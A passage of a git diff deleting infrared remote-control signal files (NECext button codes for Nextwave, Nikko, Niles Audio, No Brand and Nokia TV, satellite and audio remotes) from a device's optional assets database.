00 -command: 49 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 50 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 51 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 52 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 53 00 00 00 -# -name: PICTURE_IN_PICTURE -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 54 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 55 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 56 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 57 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 58 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 59 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 60 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 61 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 62 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 63 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 64 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 65 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 66 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 67 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 68 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 69 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 70 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 71 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 72 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 83 33 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir deleted file mode 100644 index e2ad1ea13..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 0A 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 0C 00 00 00 -# -name: H/V -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 12 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 15 00 00 00 -# -name: TUN+ -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 16 00 00 00 -# -name: LNB -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 17 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 18 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 19 00 00 00 -# -name: LT -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 1D 00 00 00 -# -name: TUN- -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir deleted file mode 100644 index c5a9a7a71..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0D 00 00 00 -# -name: AUDIO_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: AUDIO_SELECT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir deleted file mode 100644 index 9108c4285..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir +++ /dev/null @@ -1,416 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ON -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 00 00 00 00 -# -name: ALL -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 01 00 00 00 -# -name: PROCESS -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 02 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 03 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 04 00 00 00 -# -name: BASS_^ -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 05 00 00 00 -# -name: BASS_V -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 06 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 07 00 00 00 -# -name: BAL_<< -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 08 00 00 00 -# -name: FLAT -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 09 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 0A 00 00 00 -# -name: AUX_2 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 0B 00 00 00 -# -name: BAL_>> -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 0C 00 00 00 -# -name: TREB_^ -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 0D 00 00 00 -# -name: TREB_V -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 0E 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 0F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 10 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 11 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 12 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 13 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 14 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 15 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 16 00 00 00 -# -name: DISC_6 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 17 00 00 00 -# -name: DISC_7 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 18 00 00 00 -# -name: F2 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 19 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 1A 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 1B 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 1C 00 00 00 -# -name: DISC_9 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 1D 00 00 00 -# -name: F4 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 1E 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 1F 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 40 00 00 00 -# -name: C/P_1 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 41 00 00 00 -# -name: C/P_6 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 42 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 43 00 00 00 -# -name: AUX_1 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 44 00 00 00 -# -name: C/P_2 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 45 00 00 00 -# -name: C/P_7 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 46 00 00 00 -# -name: CUT_<< -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 47 00 00 00 -# -name: C/P_3 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 48 00 00 00 -# -name: C/P_8 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 49 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 4A 00 00 00 -# -name: CUT_>> -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 4B 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 4C 00 00 00 -# -name: C/P_4 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 4D 00 00 00 -# -name: C/P_9 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 4E 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 4F 00 00 00 -# -name: LOCAL -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 50 00 00 00 -# -name: C/P_5 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 51 00 00 00 -# -name: C/P_10 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 52 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 53 00 00 00 -# -name: F1 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 54 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 55 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 56 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 57 00 00 00 -# -name: DISC_8 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 58 00 00 00 -# -name: F3 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 59 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 5A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 5B 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 5C 00 00 00 -# -name: DISC_10 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 5D 00 00 00 -# -name: F5 -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 5E 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: 5F 00 00 00 -# -name: SPEAKER_ON/OFF -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: C7 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: CB 00 00 00 -# -name: ALL_SPEAKERS_OFF -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: D3 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: D7 00 00 00 -# -name: ALL_SPEAKERS_ON -type: parsed -protocol: NECext -address: 80 5D 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir deleted file mode 100644 index 2ad373e5d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SPKR_2 -type: parsed -protocol: NECext -address: 84 12 00 00 -command: C6 00 00 00 -# -name: SPKR_1 -type: parsed -protocol: NECext -address: 84 12 00 00 -command: C7 00 00 00 -# -name: SPKR_4 -type: parsed -protocol: NECext -address: 84 12 00 00 -command: CA 00 00 00 -# -name: SPKR_3 -type: parsed -protocol: NECext -address: 84 12 00 00 -command: CB 00 00 00 -# -name: SPKR_6 -type: parsed -protocol: NECext -address: 84 12 00 00 -command: CE 00 00 00 -# -name: SPKR_5 -type: parsed -protocol: NECext -address: 84 12 00 00 -command: CF 00 00 00 -# -name: ALL_OFF -type: parsed -protocol: NECext -address: 84 12 00 00 -command: D6 00 00 00 -# -name: ALL_ON -type: parsed -protocol: NECext -address: 84 12 00 00 -command: D7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir deleted file mode 100644 index d3ad1cad9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_EQUAL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Satellite/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Satellite/24,-1.ir deleted file mode 100644 index a4ca8e8c7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Satellite/24,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 17 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 18 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 19 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Satellite/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Satellite/6,-1.ir deleted file mode 100644 index 33400f90e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Satellite/6,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 18 00 00 00 -# -name: TV-SAT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 19 00 00 00 -# -name: P+ -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 2E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir deleted file mode 100644 index 290597f75..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 09 00 00 00 -# -name: power -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 0C 00 00 00 -# -name: up -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 0E 00 00 00 -# -name: down -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 0F 00 00 00 -# -name: mute -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 28 00 00 00 -# -name: IDEAL -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 29 00 00 00 -# -name: last -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 2A 00 00 00 -# -name: info -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 2D 00 00 00 -# -name: right -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 2E 00 00 00 -# -name: left -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 2F 00 00 00 -# -name: text -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 33 00 00 00 -# -name: stop -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 35 00 00 00 -# -name: size -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 38 00 00 00 -# -name: ok_red -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 3C 00 00 00 -# -name: sound_green -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 3D 00 00 00 -# -name: vision_yellow -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 3E 00 00 00 -# -name: menu_blue -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 3F 00 00 00 -# -name: tv -type: parsed -protocol: NECext -address: 4A 00 00 00 -command: 70 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir deleted file mode 100644 index 84579b6ea..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ZERO -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 00 00 00 00 -# -name: ONE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 01 00 00 00 -# -name: TWO -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 02 00 00 00 -# -name: THREE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 03 00 00 00 -# -name: FOUR -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 04 00 00 00 -# -name: FIVE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 05 00 00 00 -# -name: SIX -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 06 00 00 00 -# -name: SEVEN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 07 00 00 00 -# -name: EIGHT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 08 00 00 00 -# -name: NINE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 09 00 00 00 -# -name: PWR -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0D 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0F 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 10 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 11 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 23 00 00 00 -# -name: PROG+ -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 32 00 00 00 -# -name: PROG- -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 34 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 3C 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 3F 00 00 00 -# -name: PGUP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 4D 00 00 00 -# -name: PGDN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 4E 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 50 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 51 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 52 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 53 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 55 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 56 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 57 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 5A 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 62 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 64 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 67 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir deleted file mode 100644 index 5b92cf8da..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0D 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0F 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 10 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 11 00 00 00 -# -name: P+ -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 32 00 00 00 -# -name: P- -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 34 00 00 00 -# -name: FUP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 4D 00 00 00 -# -name: FDOWN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 4E 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 50 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 51 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 52 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 55 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 56 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 57 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 5A 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 62 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 67 00 00 00 diff --git 